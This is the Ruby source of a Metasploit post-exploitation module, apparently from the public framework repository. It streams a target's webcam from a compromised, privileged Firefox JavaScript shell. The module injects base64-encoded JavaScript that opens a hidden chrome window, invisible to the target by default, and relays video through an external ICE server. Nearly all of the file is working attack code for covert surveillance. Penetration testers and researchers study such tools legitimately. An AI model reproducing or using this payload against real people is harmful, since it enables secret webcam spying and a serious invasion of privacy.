metasploit-framework/modules/post/firefox/manage/webcam_chat.rb

113 lines
3.2 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
include Msf::Post::WebRTC
def initialize(info={})
super(update_info(info,
'Name' => 'Firefox Webcam Chat on Privileged Javascript Shell',
'Description' => %q{
This module allows streaming a webcam from a privileged Firefox Javascript shell.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev' ],
'References' => [
[ 'URL', 'http://www.rapid7.com/db/modules/exploit/firefox/local/exec_shellcode' ]
],
'DisclosureDate' => 'May 13 2014'
))
register_options([
OptBool.new('CLOSE', [false, "Forcibly close previous chat session", false]),
OptBool.new('VISIBLE', [false, "Show a window containing the chat to the target", false]),
OptInt.new('TIMEOUT', [false, "End the chat session after this many seconds", -1]),
OptString.new('ICESERVER', [true, "The ICE server that sets up the P2P connection", 'wsnodejs.jit.su:80'])
], self.class)
end
def run
unless os_check
print_error "Windows versions of Firefox are not supported at this time [RM #8810]."
return
end
server = datastore['ICESERVER']
offerer_id = Rex::Text.rand_text_alphanumeric(10)
channel = Rex::Text.rand_text_alphanumeric(20)
result = js_exec(js_payload(server, offerer_id, channel))
if datastore['CLOSE']
print_status "Stream closed."
else
if result.present?
print_status result
connect_video_chat(server, channel, offerer_id)
else
print_warning "No response received"
end
end
end
def os_check
user_agent = js_exec(%Q|
return Components.classes["@mozilla.org/network/protocol;1?name=http"]
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
|)
user_agent !~ /windows/i
end
def js_payload(server, offerer_id, channel)
interface = load_interface('offerer.html')
api = load_api_code
interface.gsub!(/\=SERVER\=/, server)
interface.gsub!(/\=CHANNEL\=/, channel)
interface.gsub!(/\=OFFERERID\=/, offerer_id)
if datastore['TIMEOUT'] > 0
api << "; setTimeout(function(){window.location='about:blank'}, #{datastore['TIMEOUT']*1000}); "
end
url = if datastore['CLOSE']
'"about:blank"'
else
'"data:text/html;base64,"+html'
end
name = if datastore['VISIBLE']
Rex::Text.rand_text_alphanumeric(10)
else
'_self'
end
%Q|
(function(send){
try {
var AppShellService = Components
.classes["@mozilla.org/appshell/appShellService;1"]
.getService(Components.interfaces.nsIAppShellService);
var html = "#{Rex::Text.encode_base64(interface)}";
var url = #{url};
AppShellService.hiddenDOMWindow.openDialog(url, '#{name}', 'chrome=1,width=1100,height=600');
send("Streaming webcam...");
} catch (e) {
send(e);
}
})(this.send);
|
end
end